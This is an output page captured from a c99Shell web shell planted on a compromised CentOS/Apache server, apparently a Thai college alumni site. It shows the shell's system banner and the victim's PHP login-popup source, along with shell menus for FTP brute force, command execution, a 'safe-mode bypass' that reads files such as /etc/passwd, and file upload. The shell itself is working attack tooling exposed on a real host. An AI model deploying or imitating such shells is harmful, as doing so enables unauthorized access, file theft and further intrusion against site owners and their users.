!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/ealumni/   drwxr-xr-x
Free 51.24 GB of 127.8 GB (40.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     popDialog.php (3.32 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "global.php";
include_once (
"class/clsUmuser.php");
$oC = new Connection(CONNSTR);
$oUM = new umuser($oC);
//****************** Declare Variable *********************//
$user=(! isset($_POST['user'])? "" $_POST['user']);
$pwd=(! isset($_POST['pwd'])? "" $_POST['pwd']);
$ok=(! isset($_POST['ok'])? "" $_POST['ok']);
$errStr="";
//****************************************************//
if($ok=="ตกลง"){
    
$oUM->SearchPersonId($user,$pwd);
    if(
$oUM->GetRecord()){
        echo 
"<script language=\"JavaScript\">";
        echo 
"window.opener.document.f1.personId.value=".$oUM->UsPsCode.";";
        echo 
"window.opener.document.f1.action='memRegisIn.php';";
        echo 
"window.opener.document.f1.submit();";
        echo 
"window.close();";
        echo 
"</script>";
    }else{
        
$errStr="ข้อมูลที่กรอกมาไม่ถูกต้อง กรุณาตรวจสอบอีกครั้ง";
    }
}
?>
<html>
<head>
<title>สำหรับดึงข้อมูลจากระบบบุคลากร</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="source/style.css" rel="stylesheet" type="text/css">
<style>
<!--
A:link {text-decoration: none }
A:visited {text-decoration: none}
A:hover {text-decoration: none; font-weight: underline}
.style1 {
    font-family: "MS Sans Serif", sans-serif;
    font-weight: bold;
    font-size: 11pt;
    color: red;
}

.style2 {
    font-family: "MS Sans Serif", sans-serif;
    font-weight: bold;
    font-size: 11pt;
    color: #000000;
}
.style3 {
    font-family: "MS Sans Serif", sans-serif;
    font-size: 11pt;
    color: #990000;
}
.style5 {
    font-family: "MS Sans Serif", sans-serif;
    font-weight: bold;
    font-size: 11pt;
    color: #F5F5F5;
}
-->
</style>

<!---------------------------------------Begin JavaScript---------------------------------------->
<script language="JavaScript">
function chkFormat(){
    f=document.ps;
    if(f.user.value==""){
        alert("กรุณากรอกชื่อผู้ใช้ !");
        f.user.focus();
        return false;
    }else if(f.pwd.value==""){
        alert("กรุณากรอกรหัสผ่าน !");
        f.pwd.focus();
        return false;
    }
}
function cancleClick(){
    window.opener.document.f1.personId.value="";
    window.close();
}
</script>
</head>
<body bgcolor="#F5F5F5">
<form  method="post" name="ps">
<table width="90%" border="0" cellspacing="1" cellpadding="1" background="picture/bg.jpg"align="center">
    <tr>         
        <td colspan="2" align="center">&nbsp;<? if($errStr!="") echo "<span class=\"style1\">".$errStr."</span>";?></td>
    </tr>
    <tr>
        <td width="41%" align="right"><span class="style2">ชื่อผู้ใช้&nbsp;</span></td>
        <td width="59%"><input type="text" name="user" size="15" value="<?=$user;?>"></td>
    </tr>
    <tr>
        <td width="41%" align="right"><span class="style2">รหัสผ่าน&nbsp;</span></td>
        <td width="59%"><input type="password" name="pwd" size="15"></td>
    </tr>
    <tr>         
        <td colspan="2" align="center" height="10"></td>
    </tr>
    <tr>         
        <td colspan="2" align="center"><input type="submit" name="ok" value="ตกลง" onClick="return chkFormat()"><input type="button" name="cancle" value="ยกเลิก" onClick="cancleClick()"></td>
    </tr> 
    <tr>         
        <td colspan="2" align="center">&nbsp;</td>
    </tr>
</table>
<div align="left"><span class="style3">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>หมายเหตุ :</b> "ชื่อผู้ใช้" และ "รหัสผ่าน" หมายถึง ส่วนที่ใช้ในการ<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Login เข้าระบบสารสนเทศของวิทยาลัย</span></div>
</form>
</body>
</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.011 ]--